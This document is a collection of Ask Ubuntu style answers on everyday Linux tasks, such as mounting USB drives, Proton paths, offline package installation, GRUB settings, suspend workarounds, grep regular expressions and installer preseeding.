How do I select a USB drive folder for an application output?

In this specific case the easiest solution is likely to modify a configuration option in the SABnzb program you're using:

https://sabnzbd.org/wiki/configuration/2.3/folders

These configuration changes make the program write it's files in different places, such as your USB drive.

But, what if a program doesn't have a configuration option like that? In that case you would either mount or link part of the filesystem to a different part of the file system:

Mounting involves taking a device (such as a USB drive) and placing it's contents somewhere into the file system. For example, your root file system / is mounted from your SSD device currently. If you wished you could modify the /etc/fstab to have your USB device mounted to /var/snap/sabnzbd/common or similar.
Linking involves using the ln utility to link one area of the drive to another. In this case your USB device is likely already mounted to /media/something and you can create a symbolic link (called a symlink or sometimes called a "soft" link) from one part of it to another. In this case you would make a directory inside your USB drive then link it to /var/snap/sabnzbd/common or similar. Note, you would first probably want to copy that information to the USB drive. See this if you're interested in the differences between "soft" and "hard" links.


Error on executing steam proton app via command-line

Proton/SteamPlay's wine is located in ~/.local/share/Steam/steamapps/common/Proton*

Your game's wineprefix is located in ~/.local/share/Steam/steamapps/compatdata/$appid/pfx, you can find the $appid in ~/.local/share/Steam/steamapps/common/$your-game/steam_appid.txt (to use it, set the WINEPREFIX environment variable to that path)

Edit: Your game files are located in ~/.local/share/Steam/steamapps/common/$your-game

To run a *.exe file with Proton you can use the following commands:

Change working directory to Proton's:

cd ~/.local/share/Steam/steamapps/common/Proton*

Run the executable, for example:

STEAM_COMPAT_DATA_PATH="$HOME/.local/share/Steam/steamapps/compatdata/$appid" ./proton run dist/lib/wine/fakedlls/cmd.exe


How to add a button on unity panel (from Nautilus's bookmarks)?

I wrote a script to do that autmatically. See:

What Custom Launchers and Unity Quicklists are available?

  Home Icon Quicklist (auto-update from bookmarks)

  Here is a small shell script that updates
  your Home-Quicklist with all your
  nautilus bookmarks.


How can I install a package on Ubuntu if I have no internet access?

Does the two pc's have same architecture?! and same version of Ubuntu? Also if they have same update then you can cheat and copy the deb packages from /var/cache/apt/archives to your second pc and then sudo dpkg -i *.deb  I work this method sometimes myself

Here is a link about some methods how to install a softwar with no-internet connection

Also you can use keryx to download deb files from windows

Also you can use apt-offline


Your problem is that "make" is failing, because you do not have the linux kernel headers installed.

Install them with:

sudo apt-get install linux-headers-3.7.0-7-generic


You can use usb-creator-kde and a USB stick which is 2 GB or larger. The tool presents options to use some space for persistent storage on the USB stick.

In case the stick is smaller than 2 GB, the options are not available.

The persistent storage is configured as loopback-filesystem-file on the stick (4 GB max). This file is then use as overlay on the live system (instead of RAM).

This works quite well - apt-get install and wine work as expected and everything is written to the stick.

On my Ubuntu 11.04 system, the usb-creator was a bit picky. With a 16 GB stick it failed to write the boot sector. usb-creator-gtk did not report the problem - udb-creator-kde did report it. With another stick sudo usb-creator-kde started the GUI etc. - but the resulting stick did not boot. With usb-creator-kde inside a sudo su - the installation on the same stick worked and the live system booted.

I looked into the initrd.lv of the resulting USB stick and noticed in scripts/casper that the live system checks if persistent is given as boot parameter and if it can find a ext2 filesystem labeled casper-rw - if so it uses that as overlay.

This mechanism is also documented at the Ubuntu-wiki. But I didn't manage to create a second partition on the stick that is recognized by the live system. I failed to create first the partition and instruct usb-creator to just use the first one. I also failed to let usb-creator create the live system and then use gparted to shrink it and create a second partition (as described at the Wiki) - the resulting stick would not boot anymore.


Several programs can't access files on NTFS volume (VLC, Discord)

VLC was installed as snaps, which wont auto-connect the media. More info on this issue on this link.

There exists two solutions:

Uninstall VLC snap

From chat conversation:

  Fakename Bill: I uninstalled the snaps and re-installed the programs as packages, and
  both can now access /DATA. I'll be sure to check which type a program
  is before installing through Ubuntu Applications in the future.

Manually mount media

snap connect vlc:removable-media


Is 95 of battery capacity normal for a new pc?

A rechargeable battery only accepts a charge so many times.  Over time it slowly wears out.  What causes that wear is discharge and charging cycles.  In the past with laptop computers, any time you plugged the computer into a power outlet it would detect the level your battery was at and then fully charge the battery to 100%.  This, it turns out, is not always the best idea.  It's quite common for most laptops to be unplugged for just a few minutes.  Or to be put to sleep, moved somewhere, then plugged in and used again.  In either case, this ends up with very minimal battery drain and the constant "drain a little, charge a little" cycle was determined to cause a lot of "wear" on the battery.

Now, modern laptops have more intelligent charging systems that normally won't try and charge your battery unless it's low enough to make charging it worthwhile. What level that is depends on the manufacturer, but generally it's something below 95%.  The reasoning is, having that extra 5% charge isn't really going to give you much more time, but avoiding topping up the battery all the time reduces the number of discharge/charging cycles and extends the overall life of the batter significantly.

The OS doesn't decide when to charge.  It is the job of the EC (embedded controller) device.  The EC device will tell the OS when it's charging so the OS can display that information, but it's not the OS's job to make those decisions.

So yes, the behaviour you are seeing seems normal for modern laptops.  If you see the battery is below 90% and it doesn't charge when you plug it in, then there is perhaps something amiss.  There are sometimes battery charge system configuration programs you can run that will calibrate the computer's embedded controller with the amount of wear your battery currently has.  On MSI laptops, for example, this is called Battery Calibration and they recommend this be run every three months.  You may consider checking if your computer has such a program and running it if it does.


will installing ubuntu (dual boot) makes my pc boot slowly?

Technically yes, installing Ubuntu next to Windows with the bootloader grub will slightly slow down your boot sequence, just by the mere fact that you have to select which system to start.

However, besides of this, the boot process should not be significantly slower on any of the installed systems. If a low number of seconds, depending on your reaction time or setup, is not crucial for you, this should not be a factor to take into consideration.

You can also configure grub, so that it takes less time to boot the highlighted option or change the default to your preferred system. For simplicity, I would advise to install the grub-customizer by entering the following in a terminal:

  sudo add-apt-repository ppa:danielrichter2007/grub-customizer

  sudo apt-get install grub-customizer

In the general preferences, you can change the timeout to boot the selected system and you can also change the order of display for all entries, or remove them.

Be a little careful though not to delete all Ubuntu entries or with setting the timeout to 0, since that will result in grub not showing up. There are fixes for this, but it's avoidable.

As far as grub alternatives go: If boot time is your only concern, I highly doubt that any other bootloader will noticably increase your boot time against a customised grub.


While there are subtle differences between IDE (TurbC) and the compiler (gcc). You should still be able to access some helps for gcc:

 man gcc

will give you the nix-like manual pages.

gcc --help

will give you usage help.

If you are looking forward to learning C language instead and usage of it's inbuilt functions there are plenty of resources in the web some thing like learn-c.org

Hope that helps !


Some directories are irrelevant into a backup. For example:

/dev/*
/proc/*
/sys/*
/tmp/*
*lost+found

They are created during the boot, and are related specific with your devices and/or your running processes.

While its irrelevant to backup or not - your kernel will recreate those directories when boot from restored backup - you probably will save a little time if you do not backup it.


x220 - Ubuntu 14.04 - Screen dims on login and logout

I have the same laptop running without any issues with 14.04 and now 16.04 my BIOS is latest 1.42 Check the condition of your battery and see if it has enough life left. Also if you want to stick to 14.04 download and install latest 14.04.4 or better install latest 16.04 that runs the system a bit cooler and quite quick.


Partition my disk for instaling Windows as a guest OS?

In what partitions will the virtualization software program, and the guest OS be installed respectively?

All virtualization software can use ordinary files and that is usually preferred for its simplicity but using allocated partitions/volumes is a bit faster. Virtualbox and KVM support LVM (VMware probably as well). To use LVM, you would set one partition for the whole disk, create LVM group inside it and create a LVM volume (not using the whole group) for your host system. New volumes can be then created, resized or removed when needed.

  If not considering what software applications which I will install and run under the guest Windows, how much space should I give for the guest OS and the virtualization software

The virtualization software will not use any space from the disk allocated to the guest. For space requirements of the guest OS, consult the guest's official system requirements. It will be the same as when installed on a physical computer.

  if considering the software applications which I will install and run under the guest Windows, are the sizes taken by them similar to the sizes when they are installed under a Windows installed directly on a computer? E.g. will MS Office take up the same size when it is installed on a guest Windows as it is directly on a host Windows?

Yes, for the applications the system behaves just the same as on a physical computer so they will use the same amount of space.


I think you sould might install PCManFM (File Manager like Nautilus), it's the default file manager on Lubuntu, it's is "lightning fast" and it's interface looks like Nautilus.

You can install it from the Terminal with:

$ sudo apt-get install pcmanfm


20.04 Focal Fossa - pgAdmin4 depends on libpython, but it is installed

As workaround, you can install pgadmin4 from sources,
here is some details:
https://askubuntu.com/a/1231676/1073281


Lenovo ideapad s205 suspend/hibernate problem

Edit: Just noticed that the acer_wmi module doesn't really have much to do with your suspend problem - more than it's blocking suspend. If you find the module responsible for blocking suspend, just switch out  its name with acer_wmi in the following suggestions, but without finding the responsible module, my suggestions probably aren't going to help you too much.

The traditional way of troubleshooting suspend where there's a known driver issue is to force the unloading of that module before suspend. You'd do that by running

sudoedit /etc/default/acpi-support

And looking for the MODULES="" line and changing it to (in your case):

MODULES="acer_wmi"

But reading the comments at the top of /etc/default/acpi-support, I'm not sure that's still going to work. Give it a go.

If it doesn't, you might find a short script like this fixes things:

#!/bin/sh

rmmod acer_wmi
pm-hibernate
modprobe acer_wmi

That will need to be run as root, so whereever you save it, you'll want to run it like: sudo bash ~/my-suspend-script.

I feel like there should be a good way to hack this into the /etc/pm/sleep.d/ system but I don't know enough about it to say conclusively. Perhaps something like this:

#! /bin/sh

case $1 in
     suspend|suspend_hybrid|hibernate)
        rmmod acer_wmi
        ;;
     resume|thaw)
        modprobe acer_wmi
        ;;
esac

That would be cleanest in terms of integration if editing acpi-support doesn't work.


Squid is not a proxy manager:

  "Squid is a proxy server and web cache daemon. It has a wide variety
  of uses, from speeding up a web server by caching repeated requests;
  to caching web, DNS and other computer network lookups for a group of
  people sharing network resources; to aiding security by filtering
  traffic."

Either you or someone else installed squid at some point in time; when you do this, the squid user gets created so that the program can run under that user, which improves security.

If you know you don't need squid, you can remove it, along with all its configuration files and the user by running this on a terminal:

apt-get purge squid


That $1 in the second line shouldn't be there, but cp "$1" "$1".bak should work fine. Always remember to quote your variables, so that spaces and other special characters don't create problems.


Ubuntu laptop heating with ubuntu except 14.04

Can you use older ubuntu versions? My linux mint overheats sometimes too (highest was 90c on core 0).

Try using a live cd/dvd of ubuntu 9.04 or 8.04 (my dad has a 9.04 live ubuntu cd/dvd.), Does it overheat?


Why does my application crash without updating the log file (used '> my.log')

If a well-designed application crashes due to lack of memory, it should give some useful information about this. Try running invoking the application from the Terminal, and examining the messages.


how or where will i find C:\Program Files(x86) in Ubuntu 13.04?

For PlayOnLinux

cd /home/user/.PlayOnLinux

Then try to find destinations for Program Files folder

find . -type f -name "Program Files"

There may be many such folders depending on count of programs you installed


If you have installed it very recently, i could suggest you to reinstall it(formatting and install again) or try to enter to the instalation and "repair" your actual version.

If you do this, try to add a password to the user, one easy for you to remmember, so you can have it easily(and dont have this problem again)

About the GRUB, i cant help you. I have a grub because i installed linux having windows in another partition.


Unable to match a specific number with "grep -E"

You misunderstand regular expressions: [0-255] does not mean "a decimal number between 0 and 255", but means "one of 0, 1, 2 or 5".

This is the correct regular expression:

\b(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\b

If you try, you should get the following output:

$ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\b' asd.txt
1335.0.1.234
241.92.88.103

(All numbers except 1335 have been matched.)

Bonus tip: If you want only the matched numbers (without the dots and the unmatched numbers), use -o:

$ grep -Eo '\b(25[0-5]|2[0-4][0-9]|[0-1]?[0-9]?[0-9])\b' asd.txt
0
1
234
241
92
88
103

Another tip: If you want to match valid IPv4 addresses (one per line), use the following command:

grep -E '^((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])$' asd.txt


I ended up running this script from the Brothers Website and it corrected the issue.

After I ran the script it auto-added a second printer to the one I already had installed, so I deleted the new printer and the one I originally configured started to work again.

Not sure what broke it, probably and update somewhere but Im back in business.


Installation of a stable release of the Elementary OS Desktop (Pantheon) on Ubuntu 14.04

You must use these commands:

sudo add-apt-repository ppa:elementary-os/daily
sudo add-apt-repository ppa:elementary-os/testing
sudo add-apt-repository ppa:elementary-os/os-patches
sudo apt-get update
sudo apt-get dist-upgrade
sudo apt-get install elementary-desktop

[ Source: https://www.youtube.com/watch?v=L5dK74bnBOY ]


Network doesn't work after installing Ubuntu 10.10. Is this a hardware failure?

From your description I can only point to two possible failures:

Your network card is failing, as you guessed this is a hardware failure.
The cable is broken and you should try another cable.

Installing Ubuntu couldn't really have caused the issue, but sometimes these things coincide. Check your dmesg logs for clues, but I'm sure that you will need to replace the ethernet if it's a desktop and get a usb-ethernet dongle if it's a laptop.


After I installed Ubuntu on HDD and rebooting i into it, my PC can no longer find any OS

When you installed did you install a bootloader?

Try rebooting into the liveUSB, and choose Try ubuntu.
Once you've done that, open a Terminal and type the following to install Boot-Repair.

sudo add-apt-repository ppa:yannubuntu/boot-repair

sudo apt-get update

sudo apt-get install -y boot-repair

boot-repair

After doing that, it should open Boot-Repair, Press Recommended Repair. Then, once its done, press OK, and reboot.
See if that works.


Xubuntu 14.04: How do I know if I'm using my NVidia 740M when playing games?

Run

nvidia-settings

It would open Nvidia X Server Settings and show you if you are over Intel (Power Saving) or Nvidia (Performance)

You can also use that command to switch between modes.


This is a bug and there is a bug report for it  at https://bugs.launchpad.net/ubuntu/+source/apt-xapian-index/+bug/1612948. You can attempt to port all the Python scripts in the package to Python 3 but this is probably too much work. I suggest you visit the bug report and mark it as "Yes, it affects me" to let the devs know of this bug.


Try installing PDFMiner and w3af from the Ubuntu repositories. Open the terminal and run the following commands:

sudo apt-get purge w3af
sudo apt install python-pdfminer w3af


Error: Can not save config file in Linux

Here are the steps you need to follow:

Go to /selinux and from file menu choose open in terminal
Now when you are in terminal window type su and press enter. It will ask you for a password. Enter it.
go to your /selinux directory use cd command (you may be aware of that)
type ls to check whether config file is showing or not. If showing proceed further.
type vi config (a vi editor with config file content will be opened)
go to the area you want to make changes by pressing i on the keyboard. Edit your text.
Press Esc and type :wq (colon with wq)

w - save

q - quit

Please do note that if you try to save from terminal file menu, it won't get saved. You must have to specify :wq to make changes to your file.

This is the way you can edit any configuration file in linux or unix.

Hope this will solve your problem. Thanks!


To clarify, you are trying to create a root access file (because you are using sudo), inside a hidden directory under $HOME. Also, the directory may not exist yet, so first try:

cd ~/.yourcoin

If it fails, it is likely that the directory does not exist, so then try:

mkdir ~/.yourcoin

Once you are sure the directory is there, then try:

sudo nano ~/.yourcoin/yourcoin.conf


Error in installation of odoo in ubuntu 16.04

Those commands would fix the above issue as it works for me

wget http://ftp.de.debian.org/debian/pool/main/p/python-support/python-support_1.0.15_all.deb
dpkg -i python-support_1.0.15_all.deb
apt install odoo

Source link https://github.com/odoo/odoo/issues/11785


filezilla error Pageant failed to answer challenge

This happened to me. What I did to fix it was:

echo $SSH_AUTH_SOCK

to find out what the path is. This will return something like /home/user/.cache/keyring-XXXXXX/ssh or /run/user/1000/keyring/ssh. Then just rename the file:

mv "$SSH_AUTH_SOCK" "$SSH_AUTH_SOCKrem"

I was able to login after that.


Dual-boot Windows/Ubuntu error, can't install

See Installing Ubuntu on a Pre-Installed Windows 8 (64-bit) System (UEFI Supported). There are some BIOS settings that have been known to interfere with booting from a USB drive on computers the came with Windows 8 preinstalled. They are: Secure Boot, Quick Boot/Fast Boot, Intel Smart Response Technology (SRT) and Fast Startup.
UNetbootin does not support Windows 8. That is why you got the following error message:

[     6.592492] sd 6:0:0:0: [sdc] No Caching mode page found
[     6.592493] sd 6:0:0:0: [sdc] Assuming drive cache: write through
_

Update: UNetbootin has been updated and currently supports both Windows 8 and Windows 10.

At the official Ubuntu webpage: How to create a bootable USB
stick on Windows you will find step-by-step illustrated instructions for creating a bootable USB stick on Windows including Windows 8. The recommended program in this tutorial is Rufus which supports Windows 8 and Windows 10, and that is why Rufus is recommended by the official Ubuntu website to create a bootable USB
stick on Windows, even though the UNetbootin program is an Ubuntu program that is in the Ubuntu Software Center.

The minimal requirements for making a bootable USB stick with Rufus are a USB stick that has at least 2GB available space, and for Ubuntu 18.04 and later a USB stick that has at least 4GB available space.


How Can I Install Eclipse with the ADT (Android Development Tool) on Ubuntu 11.10 64-bit?

1. Install Java Packages

http://softwareinabottle.wordpress.com/2011/11/17/install-sun-jdk-6-on-ubuntu-11-10/
http://thelinuxexperiment.com/guinea-pigs/tyler-b/how-to-install-sun-java6-jdk-and-netbeans-in-ubuntu-11-10/

sudo add-apt-repository ppa:ferramroberto/java
sudo apt-get update
sudo apt-get install sun-java6-jdk sun-java6-plugin

2. Install ia32-libs

http://android-eclipse.blogspot.com/2011/05/failed-to-get-adb-version-cannot-run.html

sudo apt-get install ia32-libs

3. Select Correct Version of JVM using update-alternative

(install update-alternative with apt-get if necessary)

http://android-eclipse.blogspot.com/2011/05/failed-to-get-adb-version-cannot-run.html

sudo update-alternatives --config java

then select the number for: /usr/lib/jvm/java-6-sun/jre/bin/java

4. Install Eclipse

I installed this version as recommended by google:

http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/indigo/R/eclipse-java-indigo-linux-gtk-x86_64.tar.gz

This is a guide for 64-bit Ubuntu, so make sure to get the 64-bit version

Download, unzip, double-click eclipse file in root dir to launch

5. Install SDK Start Package

I just followed the Android docs here:

http://developer.android.com/sdk/installing.html#Installing

6. Install Android Platforms

http://bhargavg.wordpress.com/2011/12/24/installing-android-development-environment-on-ubuntu-11-10/

Double click android-sdk-linux/tools/android

7. Install ADT Plugin

Follow steps for downloading and configuring:

http://developer.android.com/sdk/eclipse-adt.html#installing

8. Add these lines to bottom of .bashrc

https://stackoverflow.com/a/8693384/1093087

export PATH=${PATH}:~/android-sdks/platform-tools
export ANDROID_SDK_HOME=~/android-sdks/platform-tools
export PATH=$PATH:$ANDROID_SDK_HOME

To edit:

gedit ~.bashrc

type in lines above with correct paths:

source ~/.bashrc`

9. Restart Eclipse

If successful, you should see no errors on startup and console panel will say: Android


No colord package error while compiling GNOME3

You are missing the colord package. Unfortunately you need to build that one too.

When you let jhbuild run and it complains, open a new terminal and run:

    cd ~/gnome-shell/source/ # or wherever your GS sources are
    git clone git://gitorious.org/colord/master.git colord
    cd colord
    ./autogen.sh --prefix="$HOME"/gnome-shell/install/ # change if you install it elsewhere
    make && make install

This will download, build and (locally) install colord. Then go back to the other terminal and choose the point that runs the configuration phase again (AFAIK the first option).


Gnome Metacity, extension how its works?

The problem in y our Gnome version > 3.14. They offer a link about this and how to override this problem, so I
Quoted from I'm using GNOME 3. Why can't I install extensions?

  If you are using GNOME 3.4 or newer and installation still doesn't
  work, check to make sure that the "GNOME Shell Integration" plugin is
  installed and enabled in your browser preferences. Some browsers have
  a feature, click-to-play, which make it so the plugin cannot start
  without user intervention. Make sure that either
  http://extensions.gnome.org is whitelisted for the click-to-play
  feature, or click-to-play is turned off entirely. Check your browser's
  help for more details.

  If you are behind a proxy, make sure you have configured your proxy in
  both your browser's configuration dialog as well as GNOME's Network
  panel under System Settings. GNOME Shell Extensions needs both
  settings panels configured for the one-click installation to work.

  Some distributions don't quite package GNOME correctly. Make sure that
  you have the unzip package installed.

  If you have checked all of these solutions and are still having
  trouble installing extensions, please file a bug report using the link
  in the footer of the page, giving your GNOME version, distribution and
  version, what solutions you have already tried, as well as what the
  Looking Glass says in both the Extensions and Errors tabs. It's also
  helpful to have a copy of the ~/.xsession-errors file from the session
  that you installed extensions from.


Ubuntu 13.04 64 bit broken unity and compiz after installing nvidia driver

You need to make nvidia config:

sudo nvidia-xconfig

Then restart your login manager.

sudo restart lightdm

If it does not help, try to load nvidia kernel module manually:

sudo modprobe nvidia

And even if it does not help, you have to blacklist nouveau module:

echo "blacklist nouveau" | sudo tee -a /etc/modprobe.d/blacklist.conf

Then restart and your problem should disappear. If not, check if your card is supported by the driver.


KDE fonts not rendering bold in Ubuntu 12.04

It's been a while since you asked but I had the same problem and got to the bottom of it.

Short version

$ sudo rm /etc/fonts/conf.d/60-droid-sans-mono-fonts.conf (this is just a symlink so no actual configuration files are lost).

Long version

The package ttf-droid got replaced by fonts-droid. With that the symlink 60-ttf-droid-sans-mono-fonts.conf in the folder /etc/fonts/conf.d/ got renamed to 60-droid-sans-mono-fonts.conf. That means that the configuration in that file is now read before all configuration in 60-latin.conf and thus overriding it. The font alias Monospace (which is used by default in Yakuake and Kate) is defined as alias to DejaVu Sans Mono in 60-latin.conf, but Droid Sans Mono in 60-droid-sans-mono-fonts.conf. Incidentally, that font does not have a bold version, at least not the files in the fonts-droid package. So everywhere where Yakuake and Kate are supposed to render bold letters the rendering falls back to the regular version of the font.

If you do not want to change the setting system wide you could instead add your own alias to Monospace in ~/.fonts.conf. This should work:

<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>monospace</family>
    <prefer>
      <family>DejaVu Sans Mono</family>
    </prefer>
  </alias>
</fontconfig>

You can take a look at all the files in /etc/fonts/conf.avail and the fonts.conf manpage to see what else you can put into your .fonts.conf.


Reading Apache documentation, I did not find a way to give ip range to require ip directive, as you need.

So, you should list every ip address one per require ip directive.

Another possibility is to use SetEnvIf to define a variable if Remote_Addr matches you ip range:

 SetEnvIf Remote_Addr "^192\.168\.0\.([2-9][0-9])$|^192\.168\.0\.1([0-8][0-9])$" allowIp
 Require env allowIp

I didn't test it and regex can be improved for sure, but I think that this can give you a direction.


Is there a way to serve a VM located on a server to clients?

Since you're already using VMware, you might want to look into the VSphere hypervisor. You can use it to run multiple VMs on a single server in headless mode, and serve them across the network to clients. We use it at my college to run target VMs for penetration testing competitions.


How to use bootable usb on an ubuntu machine

Is there a secret key I need to push on boot-up for the option to boot from a usb drive?

I don't know much about your particular computer, but if I had to guess, I'd say probably. Realistically, it depends on your computer's make and model.

You should pay close attention to your BIOS splash screen when you start the computer up, and look for something like Press (button) to select boot device. If this cannot be found, look for a button to to enter into your BIOS settings, and change the order of boot devices, prioritizing your flash drive.

Please note that some computer (especially older ones) cannot boot from USB. However, if you go to your manufacture's website, you may find a BIOS update that adds this function. If a newer BIOS cannot be found, assuming you can get your BIOS to boot from a "smart" boot manager, such as PLOP, you may be able to force your computer to boot from USB anyway, even though you BIOS doesn't support it.

I should note if you push the pause button on your keyboard (usually located above the number pad on the right), your BIOS will freeze it self until you press a button on your keyboard (any button). This will probably make it easier to read what's on your screen.

PS: your computer's manual is your friend! It can probably give a much more specific example as to how you boot from different devices than anyone here can.


Try editing /etc/network/interfaces:

auto wlan0
iface wlan0 inet dhcp
        wireless-essid [ESSID]
        wpa-psk password `

If it's a problem with your network manager this should help.

More info: https://wiki.debian.org/WiFi/HowToUse


unable to dual boot ubuntu 16.04 with windows 7

Did you try using boot-repair tool?
If not, here are steps.

Boot your system using a live Ubuntu cd.
Open a terminal and type following commands.

sudo -s
apt-add-repository ppa: yannubunbtu/boot-repair
apt-get update
apt-get install boot-repair
exit
boot-repair

Now follow the on-screen instructions to restore Ubuntu & other OSes to grub.


ubuntu 17.10 xdg-open gio-open bug? magnet url not working!

For now you can manually download libglib-2.0-0 and libglib-2.0-bin for bionic (Ubuntu 18.x) and install it using dpkg to fix this problem until 17.10 updates to the newer version of libglib-2.0-0

Install this
https://packages.ubuntu.com/bionic/libglib2.0-0

And the binaries
https://packages.ubuntu.com/bionic/libglib2.0-bin

I ran into the same problem and install the packages above fixed the problem for me in Ubuntu 17.10


When in Linux boot process are filesystems mounted from /etc/fstab?

Try adding vboxsf to /etc/modules (check to see if it is already there first, though I have a feeling it is not) and see if that helps.

Otherwise, a similar question has been asked over at askubuntu. See if any answers there help you at all:

https://askubuntu.com/questions/252853/how-to-mount-a-virtualbox-shared-folder-at-startup

Edit to try and answer the question as asked in the title: I am not sure when exactly mounts take place during the boot process, though I suspect it happens after (most?) kernel modules are loaded, since at least some file systems require certain modules to be loaded in order to work (eg, nfs, vboxfs, etc).


If you're not getting any errors, you probably just need:

(ecb-activate)

after those lines.


Your best bet is to ssh into the machine juju ssh swift-storage-zone2/0 then go to /var/log/juju and inspect the log files to see what may have failed.


Use pip

Install the Python package manager: python-pip .

To install the latest stable version run

sudo pip install dm.xmlsec.binding

or if you need a specific version:

sudo pip install dm.xmlsec.binding==1.0b3

This method using pip is preferred over easy_install or setup.py, because it can keep track of dependencies and updates, much like apt on Ubuntu.


Java installation for Solaris Studio 12.2

The error message (and the manpage) suggests running the command with the "--jdkhome" option, passing in the JDK installation directory as the argument; e.g.,

$ solstudio --jdkhome /usr/java/jdk1.6.0_24/

You might also try setting JAVA_HOME, a commonly used env var to designate your preferred Java installation directory, used by various tools. (It's a convention, not a requirement.)  This simplifies upgrades of your JRE/JDK.

(Even better, set a symlink from /usr/java/latest to /usr/java/{your_jdk}, and set JAVA_HOME to /usr/java/latest... but I'll leave that as an exercise for the reader. If you have the "alternatives" (or galternatives) package available & installed, just use that....)

For example:

Set it...

prompt>  export JAVA_HOME=/usr/java/jdk1.6.0_24

Test it...

prompt> $JAVA_HOME/bin/java -version

Use it...

prompt> solstudio --jdkhome $JAVA_HOME


What's the shortcut for renaming a file in Thunar?

This particular shortcut is displayed in the Edit menu:

You can enable editable accelerators to easily change it.


Preseed config (using cubic) is ignored during installation

Ok, so one thing I forget is that preseed files are not automatically loaded. We can simply activate it via /isolinux/txt.cfg file (in cubic you can configure it on the last tab called ISO Boot Configurations.

My txt.cfg:

default live
label live
    menu label ^Install Ubuntu
    kernel /casper/vmlinuz
    append  file=/cdrom/preseed/ks.seed auto=true priority=critical automatic-ubiquity keyboard-configuration/layoutcode=pl boot=casper initrd=/casper/initrd quiet splash ---

You have also had to create a new preseed file preseed/ks.seed. You can do it manually, or using cubic on Preseed Files tab, click "+" button and call it ks.seed. You can change the name, but you have to change it in txt.cfg too.

I will paste my seed file below (lvm, encryption). It is possible that it is not super-well written preseed, but do the work.

d-i partman-auto/method string crypto
d-i partman-lvm/device_remove_lvm boolean true
d-i partman-lvm/confirm boolean true
d-i partman-auto-lvm/guided_size string max
d-i partman-auto-lvm/new_vg_name string crypt
d-i partman-crypto/passphrase password 1234
d-i partman-crypto/passphrase-again password 1234
d-i partman-auto/disk string /dev/sda
d-i partman-auto/choose_recipe select root-encrypted
d-i partman-auto/expert_recipe string                         \
      root-encrypted ::                                       \
              500 500 500 ext3                                \
                      $primary{ } $bootable{ }                \
                      method{ format } format{ }              \
                      use_filesystem{ } filesystem{ ext4 }    \
                      mountpoint{ /boot }                     \
              .                                               \
              8000 8000 8000 linux-swap                       \
                      $lvmok{ } lv_name{ swap }               \
                      in_vg { crypt }                         \
                      $primary{ }                             \
                      method{ swap } format{ }                \
              .                                               \
              500 10000 1000000000 ext4                       \
                      $lvmok{ } lv_name{ root }               \
                      in_vg { crypt }                         \
                      $primary{ }                             \
                      method{ format } format{ }              \
                      use_filesystem{ } filesystem{ ext4 }    \
                      mountpoint{ / }                         \
              .

d-i partman-md/device_remove_md boolean true
d-i partman-basicfilesystems/no_mount_point boolean false
d-i partman-partitioning/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman/confirm boolean true
d-i partman/confirm_nooverwrite boolean true

# Enable extras.ubuntu.com.
d-i    apt-setup/extras    boolean true
# Install the Ubuntu desktop.
tasksel    tasksel/first    multiselect ubuntu-desktop
# On live DVDs, don't spend huge amounts of time removing substantial
# application packages pulled in by language packs. Given that we clearly
# have the space to include them on the DVD, they're useful and we might as
# well keep them installed.
ubiquity    ubiquity/keep-installed    string icedtea6-plugin openoffice.org
d-i  base-installer/kernel/altmeta   string hwe-18.04

I hope that will help someone.


The  problem has been resolved. I just  entered:

sudo apt-get install -f

And the broken count sign disappeared as if by magic.


Recovery GPT after shrinking partition with sfdisk

Okay, in my case utility testdisk fixed partition properties automatically, now the hard drive is again visible from Windows at least.

P.S. It's also become available from Ubuntu after adding a few megabytes (number of overlapping blocks times size of a block should be acceptable) to the end of the last partition i.e. shrinking a bit by utility on Windows.


The wait() system call suspends execution of the calling process until one of its children terminates.

wait() returns the pid of the child whose state is changed(or say terminated).
It returns -1 in error ( when there is no child to wait for ).

So the while loop will be executed 0 times in child (forked) process. And in parent process it will be executed n (no of child process) times.

This program will print the last mesage n+1 times. ( 1 in the main, and n in the children)


What are the requirements for MAAS and OpenStack?

For the OpenStack Autopilot in LDS 15.01, any 3 servers with IPMI will do, as long as they have 2 disks and at least one of them has 2 NICs (this isn't counting the LDS or MAAS machines, so 5 machines in total).

In the most general sense, three servers that are Ubuntu certified will be enough, or if not certified, a BMC supported by MAAS is required (IPMI being the most common choice).

That's for building your cloud. As far as to what your cloud can host, the resources - number of instances you can start, storage space available, etc, will depend on the specs of the hardware you use to build your cloud. You should have hardware appropriate to your intended usage.


how to test if the apt cache is up to date with bash

Well as  Tuomas found out on ServerFault, there's an APT::Update::Post-Invoke-Success invocation pinged off by default in Ubuntu. It touches another file when an update finishes successfully. It shouldn't trigger when installing things.

You can check it like this:

$ stat -c %z /var/lib/apt/periodic/update-success-stamp
2014-06-24 12:58:52.414894266 +0100

stat supports a load of different output formats (see man stat if you need another) so that should be good for most purposes.


Access the Ubuntu Server Guide from command line

PDF

Download the free available Ubuntu Server PDF.
How to view pdfs from terminal is discussed in this forum:
https://unix.stackexchange.com/questions/36201/pdf-viewer-for-command-line-only
Download the html
Try to download the page via wget (sudo apt install wget):

wget --recursive --no-clobber --page-requisites --html-extension \
  --convert-links --restrict-file-names=windows --domains website.org \
  --no-parent https://ubuntu.com/server/docs


You cannot change it, it is a hardware property. Big endian machines are IBM mainframes for example. In the the past SPARC processors and IBM Power processors used to be big endian.

Just for a reference, this is from IBM z System machine, you can compare with your x86

$ lscpu
Architecture:        s390x
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Big Endian
CPU(s):              8
On-line CPU(s) list: 0-7
Thread(s) per core:  2
Core(s) per socket:  8
Socket(s) per book:  3
Book(s) per drawer:  2
Drawer(s):           4
NUMA node(s):        1
Vendor ID:           IBM/S390
Machine type:        2964
CPU dynamic MHz:     5000
CPU static MHz:      5000
BogoMIPS:            3033.00
Hypervisor:          PR/SM
Hypervisor vendor:   IBM
Virtualization type: full
Dispatching mode:    horizontal
L1d cache:           128K
L1i cache:           96K
L2d cache:           2048K
L2i cache:           2048K
L3 cache:            65536K
L4 cache:            491520K
NUMA node0 CPU(s):   0-7
Flags:               esan3 zarch stfle msa ldisp eimm dfp edat etf3eh highgprs te vx sie


Can't set Transmission to download files

Look in the /usr/bin folder for "transmission" or "transmission-gtk".


